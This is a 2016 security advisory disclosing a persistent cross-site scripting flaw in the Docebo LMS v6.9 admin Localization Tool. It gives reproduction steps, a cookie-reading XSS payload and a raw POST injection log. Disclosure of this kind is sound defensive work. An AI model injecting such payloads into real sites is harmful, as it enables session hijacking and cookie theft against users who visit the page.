Docebo LMS v6.9 - (Localization) Persistent Vulnerability

Document Title:
===============
Docebo LMS v6.9 - (Localization) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1880


Release Date:
=============
2016-12-21


Vulnerability Laboratory ID (VL-ID):
====================================
1880


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Docebo is a SAAS/Cloud platform for e-learning, also known as a learning management system.From the Latin word, docere. Docebo is used 
for corporate learning and has interfaces for videoconferencing and HR systems. Using an online system for learning and training cuts 
down time needed and costs that would be used on such things as printing and distributing materials.

(Copy of the Vendor Homepage: https://www.docebo.com/learning-management-system-lms/ & https://en.wikipedia.org/wiki/DoceboLMS )


Abstract Advisory Information:
==============================
A vulnerability laboratory core team researcher discovered an application-side cross site scripting vulnerability in the DoceboLMS content management system.


Vulnerability Disclosure Timeline:
==================================
2016-12-21: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Docebo
Product: Docebo LMS - Content Management System (Web-Application) 6.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the official Docebo LMS v6.9 web-application.
The vulnerability allows remote attackers to inject own malicious script code to the application-side of the vulnerable module.

The vulnerability is located in application language interface module `Admin - Localization Tool`. Users with admin access rights or 
super users are able to inject their own payload through editing the Description field  of any language. The execution of the malicious 
payload can occur in the main LMS subdomain `SUB.docebosaas.com/lms/` with the  `CoreLangLanguage%5Blang_description%5D` parameter.
The request method to inject is POST and the attack vector is located on the application-side of the lms content management system.

Due to our investigation, we discovered that the impact is occured on any registered users or even a subdomain visitor who are viewing 
the infected subdomain main Login interface. for ex: http://SUBDOMAIN.docebosaas.com/lms/

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST 

Vulnerable Module(s):
				[+] /admin/?r=langManagement/updateLang

Vulnerable Parameter(s): 
				[+] CoreLangLanguage%5Blang_description%5D


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Admin or superusers goes into : https://lms.localhost:8080/admin/index.php?r=langManagement/index or 'Admin - Localization Tool' 
2. Then click on edit option for any language they desire . 
3. Inject your own payload : '><img src=x onerror=prompt(document.cookie)> 
4. Successfully reproduce of the issue with remote link as subdomain!


--- PoC Session Logs [POST] ---
POST /admin/?r=langManagement/updateLang&langcode=arabic&YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b HTTP/1.1
Host: vulnlab.docebosaas.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vulnlab.docebosaas.com/admin/index.php?r=langManagement/index
Content-Length: 266
Cookie: __distillery=v20150227_1d8495ec-1a8c-416f-a9ba-ea7af2daaa38; backend_eu_west_1_saas=1; docebo_session=tt6j4k7ek1u772ge704s26jen1; 
YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b
Connection: keep-alive
YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b&CoreLangLanguage%5B
lang_description%5D=Arabic'%3E%3Cimg+src%3Dx+onerror%3Dprompt(%22pwnd%22)&CoreLangLanguage%5Blang_direction%5D=&CoreLangLanguage%5B
lang_direction%5D=rtl&CoreLangLanguage%5Bset_as_default%5D=0
-
Response:
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 24 Jul 2016 22:31:19 GMT
Content-Type: application/json; charset="UTF-8"
Content-Length: 2
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Front-End-Https: on
Set-Cookie: backend_eu_west_1_saas=1; path=/;
Front-End-Https: on


Reference(s):
https://lms.localhost:8080/
https://lms.localhost:8080/admin/
https://lms.localhost:8080/admin/index.php
https://lms.localhost:8080/admin/index.php?r=langManagement/index


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the lms web-application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer [http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer]


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=========================
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